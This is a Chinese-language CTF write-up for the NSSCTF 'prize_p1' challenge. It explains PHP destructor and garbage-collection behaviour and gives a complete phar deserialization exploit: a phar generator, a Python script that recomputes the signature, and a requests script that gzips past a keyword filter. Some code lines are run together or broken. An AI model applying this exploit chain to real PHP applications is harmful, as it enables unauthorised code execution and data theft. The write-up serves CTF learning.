admin 管理员组

文章数量: 1087135

prize

这道题东西真的很多,看了大佬的wp学到了不少,几个笔记记录一下。

一、代码审计

源码:

<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

首先是一个getflag类,内容就是输出$FLAG ,触发条件为__destruct;第二个类是A,作用有两个,一个是写文件,一个是读文件,写入数据和读取对象都是POST[0]

然后就是对GET[0]的关键字判断,通过后反序列化GET[0]

这里因为关键字对flag有过滤,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+,优先考虑phar,phar反序列化的基础利用请读者自行先去了解,这里不做介绍。

那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag

二、php对象

__destruct是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct

  1. 主动调用unset($obj)
  2. 主动调用$obj = NULL
  3. 程序自动结束

我们很容易理解上述情况为什么会调用析构函数,因为这代表该对象要被清空了。除此之外,别忘了PHP拥有垃圾回收Garbage collection即我们常说的GC机制。

PHP中GC使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct

刚才我们提到了引用计数,其实当一个对象没有任何饮用的时候,则会被视为“垃圾”,即

$a = new obj();

这是一个obj对象,被a变量应用,所以它不是“垃圾”。如果是

new obj();

$a = new obj();$a = 2;

上面都是对象没有被饮用或开始有饮用之后失去了引用的情况,我们可以考虑下列实例代码。

class obj {function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i."Destroy...\n"; }
}
new obj('1');
$a = new obj('2');$a = new obj('3');
echo "————————————\n";

输出应该如下

1Destroy...
2Destroy...
————————————
3Destroy...

三、解题

1、

而我们这里明显看到倒数第二行有反序列化操作,但是没有任何引用,所以按照上述会在执行完毕之后处于unset状态,会回收这个对象,即执行__destruct,这一步通过调试可能更加清楚的看到执行流程。这样的话,我们便可以直接在这里写入数据。

O:1:"A":1:{s:6:"config";s:1:"w";}

这样就是写入文件操作了

2、

虽然我们可以写数据了,但是我们需要写什么数据了,显然下面有file_get_contents可以利用,那么我们可以利用phar://协议来进行反序列化。

生成phar文件:

<?phpclass getflag{}$user = new getflag();
$user = array(0=>$user,1=>null);
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();

(无法生成的话记得修改php.ini中的phar的readonlyoff并去掉这行前边的分号,具体操作百度)

解释一下为什么有一个array(0=>$user,1=>null)的操作,因为如果我们直接在phar文件的Metadata写getflag对象的话,显然是不能进行反序列化的,因为他反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct,所以我们需要用GC来进行执行__destruct

当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发__destruct,从而获得flag

但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}

而这个不是我们想要的,所以我们把i:1改为i:0,这样就能取消getflag类的引用。

用010editor打开我们生成的phar文件,一定不要用记事本,不然到最后无法获取flag,因为如果你用记事本修改,实际上不止修改了你的数字,还有后面的签名和签名方法

3、

 phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名。

from hashlib import sha1f = open('/test/shell.phar', 'rb').read() # 修改内容后的phar文件s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMBopen('/test/newpoc.phar', 'wb').write(newf) # 写入新文件

根据自己的情况改一下路径即可。

4、

phar文件是生成好了,接下来就是上传和读取了,因为此时我们的phar文件依旧有明文存在,这里就是getflag,而由源码可知会被检查出来,这里用压缩的方法绕过

附上最后的exp

import requests
import gzip
import reurl = ':28016/'file = open("/test/newpoc.phar", "rb") #打开文件
file_out = gzip.open("/test/phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0: open('/test/phar.zip', 'rb').read()}
) # 写入res = requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0: 'phar://tmp/a.txt'}
) # 触发
res.encoding='utf-8'
flag = repile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)

参考链接:[phar反序列化][NSSCTF]prize_p1_Snakin_ya的博客-CSDN博客

prize1 | bilala's blog (gitee.io)

本文标签: prize